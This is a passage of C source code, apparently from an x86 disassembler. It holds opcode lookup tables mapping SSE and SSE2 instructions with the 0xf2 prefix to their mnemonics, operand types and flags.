FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psubsb\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psubsw\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pminsw\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"por\",       AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"paddsb\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"paddsw\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pmaxsw\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pxor\",      AM_V|OT_dq,                  AM_W|OT_dq,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"psllw\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pslld\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psllq\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pmuludq\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pmaddwd\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psadbw\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"maskmovdqu\", AM_V|OT_dq|P_w,             AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psubb\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psubw\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psubd\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psubq\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"paddb\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"paddw\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"paddd\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n}; \n\n// 3-byte instructions, prefix 0xf2\n\nINST inst_table3_f2[256] = {\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"movsd\",     AM_V|OT_sd|P_w,              AM_W|OT_sd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movsd\",     AM_W|OT_sd|P_w,              AM_V|OT_sd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movddup\",   AM_V|OT_q|P_w,               AM_W|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"cvtsi2sd\",  AM_V|OT_sd|P_r,              AM_E|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"cvttsd2si\", AM_G|OT_d|P_r,               AM_W|OT_sd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"cvtsd2si\",  AM_G|OT_d|P_r,               AM_W|OT_sd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"sqrtsd\",    AM_V|OT_sd|P_w,              AM_W|OT_sd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"addsd\",     AM_V|OT_sd|P_w,              AM_W|OT_sd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"mulsd\",     AM_V|OT_sd|P_w,              AM_W|OT_sd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"cvtsd2ss\",  AM_V|OT_ss|P_r,              AM_W|OT_sd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"subsd\",     AM_V|OT_sd|P_w,              AM_W|OT_sd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"minsd\",     AM_V|OT_sd|P_w,              AM_W|OT_sd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"divsd\",     AM_V|OT_sd|P_w,              AM_W|OT_sd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"maxsd\",     AM_V|OT_sd|P_w,              AM_W|OT_sd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"pshuflw\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            AM_I|OT_b,    1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,   \"haddps\",     AM_V|OT_ps,                  AM_W|OT_ps,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,   \"hsubps\",     AM_V|OT_ps,                  AM_W|OT_ps,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"cmpsd\",     AM_V|OT_sd|P_r,              AM_W|OT_sd|P_r,            AM_I|OT_b,    1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        